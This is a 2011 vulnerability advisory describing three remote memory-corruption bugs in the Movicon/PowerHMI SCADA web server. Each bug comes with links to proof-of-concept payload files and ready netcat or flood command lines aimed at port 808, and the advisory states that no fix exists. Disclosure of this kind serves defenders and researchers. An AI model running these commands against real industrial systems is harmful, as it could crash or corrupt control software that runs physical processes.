#######################################################################

                             Luigi Auriemma

Application:  Progea Movicon / PowerHMI
              http://www.progea.com
Versions:     <= 11.2.1085
Platforms:    Windows
Bug:          memory corruption
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Movicon is an italian SCADA/HMI software.


#######################################################################

======
2-1) Bug
======


When the software runs a project it listens on port 808 for accepting
some HTTP requests.

The server is affected by a heap overflow caused by the usage of a
negative Content-Length field which allows to corrupt the memory
through "memcpy(heap_buffer, input, content_length_size)".


#######################################################################

===========
3-1) The Code
===========


http://aluigi.org/poc/movicon_1.dat
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/17842-1.dat

  nc SERVER 808 < movicon_1.dat


#######################################################################

======
2-2) Bug
======


When the software runs a project it listens on port 808 for accepting
some HTTP requests.

The server is affected by a heap overflow caused by the usage of a
buffer of 8192 bytes for containing the incoming HTTP requests.


#######################################################################

===========
3-2) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/17842-2.dat

  udpsz -T -b 0x61 SERVER 808 10000


#######################################################################

======
2-3) Bug
======


When the software runs a project it listens on port 808 for accepting
some HTTP requests and on port 12233 for a particular "EIDP" protocol.

Through a too big size field in the "EIDP" packets tunnelled via the
web service (doesn't seem possible to exploit the bug via the original
port) it's possible to write a 0x00 byte in an arbitrary memory zone
higher than 0x7fffffff:

  00a29001 c6041100     mov byte ptr [ecx+edx],0    ds:0023:80616161=??

This limitation could make the bug interesting only in some 64bit
environments.


#######################################################################

===========
3-3) The Code
===========


http://aluigi.org/poc/movicon_3.dat
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/17842-3.dat

  nc SERVER 808 < movicon_3.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################